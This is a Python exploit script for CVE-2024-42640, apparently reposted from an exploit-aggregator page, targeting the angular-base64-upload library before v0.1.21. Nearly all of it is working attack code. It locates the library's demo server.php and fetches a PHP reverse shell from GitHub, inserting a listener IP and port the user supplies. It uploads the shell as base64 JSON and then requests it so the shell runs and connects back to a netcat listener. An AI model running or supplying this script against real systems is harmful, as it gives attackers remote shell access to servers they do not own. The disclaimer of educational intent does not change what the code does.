Share
## https://sploitus.com/exploit?id=PACKETSTORM:190263
#!/bin/python3
    
    # Exploit Title: Unauthenticated RCE via Angular-Base64-Upload Library
    # Date: 10 October 2024
    # Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9) 
    # Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9) 
    # Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload
    # Software Link: https://github.com/adonespitogo/angular-base64-upload
    # Version: prior to v0.1.21 
    # Tested on: Arch Linux
    # CVE : CVE-2024-42640
    # Severity: Critical - 10.0 (CVSS 4.0)
    # Github Link : https://github.com/rvizx/CVE-2024-42640
    # Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html
    
    # DISCLAIMER: 
    
    # This proof-of-concept (POC) exploit is provided strictly for educational and research purposes. 
    # It is designed to demonstrate potential vulnerabilities and assist in testing the security posture of software systems. 
    # The author expressly disclaims any responsibility for the misuse of this code for malicious purposes or illegal activities. 
    # Any actions taken with this code are undertaken at the sole discretion and risk of the user. 
    # The author does not condone, encourage, or support any unauthorized access, intrusion, or disruption of computer systems. 
    # Use of this POC exploit in any unauthorized or unethical manner is strictly prohibited. 
    # By using this code, you agree to assume all responsibility and liability for your actions. 
    # Furthermore, the author shall not be held liable for any damages or legal repercussions resulting from the use or misuse of this code. 
    # It is your responsibility to ensure compliance with all applicable laws and regulations governing your use of this software. 
    # Proceed with caution and use this code responsibly.
    
    
    import re
    import subprocess
    import requests
    import sys
    import os
    import uuid
    import base64
    
    
    def banner():
        print('''
    
                    \033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit
                    \033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9
                    https://github.com/rvizx/\033[0mCVE-2024-42640
    
    ''')
    
    
    def enum(url):
        print("\033[94m[inf]:\033[0m enumerating for dependency installtion directories... ")
        target = f"{url}/bower_components/angular-base64-upload/demo/index.html"
        r = requests.head(target)
        if r.status_code == 200:
            print("\033[94m[inf]:\033[0m target is using bower_components")
        else:
            print("\033[94m[inf]:\033[0m target is not using bower_components")
            target = f"{url}/node_modules/angular-base64-upload/demo/index.html"
            r = requests.head(target)
            if r.status_code == 200:
                print("\033[94m[inf]:\033[0m target is using node_modules")
            else:
                print("\033[94m[inf]:\033[0m target is not using node_modules")
                print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for angular-base64-upload/demo/index.html")
                print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory")
                print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html")
                print("\033[91m[err]:\033[0m exiting..")
                exit()
    
        version = next((line for line in requests.get(target.replace("demo/index.html","CHANGELOG.md")).text.splitlines() if 'v0' in line), None)
        print("\033[94m[inf]:\033[0m angular-base64-upload version: ",version)
        exploit(target)
    
    
    
    
    
    def exploit(target):
        print(f"[dbg]: {target}")
        target_server_url = target.replace("index.html","server.php")
        print(f"[dbg]: {target_server_url}")
        payload_url = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"
        print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..")
        ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ")
        port = input("\033[93m[ins]:\033[0m enter listenter port: ")
        print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}")
        input("\033[93m[ins]:\033[0m press enter to continue...")
        print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...")
        response = requests.get(payload_url)
        if response.status_code == 200:
            php_code = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input 
            payload_name = str(uuid.uuid4())+".php" # using a uuid for payload name
            with open(payload_name, "w") as file:
                file.write(php_code)
        else:
            print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.")
            print("\033[91m[err]:\033[0m exiting..")
            exit()
        
        with open(payload_name, 'rb') as file:
            file_content = file.read()
            base64_payload = base64.b64encode(file_content).decode('utf-8')
            
            headers = {
                'Content-Type': 'application/json',
                }
            
            json_data = {
                'base64': base64_payload,
                'filename': payload_name,
                }
            
            response = requests.post(target_server_url, headers=headers, json=json_data, verify=False)
            print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code)
            updemo_endpoint = f"uploads/{payload_name}"
            print(f"[dbg]: {updemo_endpoint}")
            payload_url = target_server_url.replace("server.php",updemo_endpoint)
            print(f"[dbg]: {payload_url}")
            if response.status_code == 200:
                print(f"\033[94m[inf]:\033[0m reverse-shell is uploaded to {payload_url}")
            print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..")
            r = requests.get(payload_url)
            
            if r.status_code == 200: 
                print("\033[94m[inf]:\033[0m process complete!")
            else:    
                print("\033[91m[err]:\033[0m something went wrong!")
                
            print("\033[93m[ins]:\033[0m please check the listener for incoming connections.")
            
            
    if __name__ == "__main__":
        try:
            banner()
            url = sys.argv[1]
            print(f"\033[94m[inf]:\033[0m target: {url}")
            enum(url)
        except:
            print("[usg]: ./exploit.py <target-url>")
            exit()